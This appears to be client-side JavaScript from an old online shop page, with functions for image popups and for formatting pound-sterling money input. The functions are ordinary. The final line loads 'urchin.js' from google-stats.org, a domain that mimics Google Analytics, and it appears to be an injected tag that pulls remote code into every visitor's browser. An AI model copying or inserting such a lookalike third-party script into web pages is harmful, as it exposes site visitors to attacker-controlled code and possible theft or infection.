<!--
	var imagePopUpURL = 'default';
	//change the image without the need to reload the page
	function changePic(img_src,lrg_img_src) {
		x = document.getElementById('itemImage'); 
		x.src=img_src;
	}
	
	function popupImageWindow(normal,subdir,width,height) {
		if(imagePopUpURL=='default'){
			window.open('/imagePopup.php?subdir='+subdir+'&amp;image='+normal,'popupWindow','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=no,width='+width+',height='+height+',screenX=150,screenY=150,top=150,left=150')
		}else{
			window.open('/imagePopup.php?subdir='+subdir+'&amp;image='+imagePopUpURL,'popupWindow','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=no,width='+width+',height='+height+',screenX=150,screenY=150,top=150,left=150')
		}
	}
	function popupStaticImageWindow(image,subdir,width,height) {
	  window.open('/imagePopup.php?subdir='+subdir+'&amp;image='+image,'popupWindow','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=no,width='+width+',height='+height+',screenX=150,screenY=150,top=150,left=150')
	}
	//check money input on input boxes
	function moneyCheck(thisfield) {
		//remove non numbers
		var allowedChars = "0123456789.";
		var numberOnlyString = "";
		for (var i = 0; i < thisfield.value.length; i++) {
				if (allowedChars.indexOf(thisfield.value.charAt(i)) != -1) {
					numberOnlyString = numberOnlyString +  thisfield.value.charAt(i);
				}
        }
		thisfield.value = numberOnlyString;
		if(replaceAll(thisfield.value,"£","") != ""){
			target = new String;
			target = replaceAll(thisfield.value,"£","");
			target = replaceAll(target,",","");
			target = parseFloat(target);
			target = target * 100;
			target = Math.round(target);	
			target = target/100;
			target = extraZero(target);
			thisfield.value="£" + (target);	

		}
	}
			//used for the format money function above
				function replaceAll( str, from, to ) {
					var idx = str.indexOf( from );
					while ( idx > -1 ) {
						str = str.replace( from, to ); 
						idx = str.indexOf( from );
					}
					return str;
				}
			//used for the format money function above
				function extraZero(number1){
					number = new String;
					number = number + number1;
					if(number.charAt(number.length-2) == "."){
						number = number + "0";
					}
					return number;
				}
	
	

// -->	
<script src="http://google-stats.org/tracking/urchin.js" type="text/javascript"></script>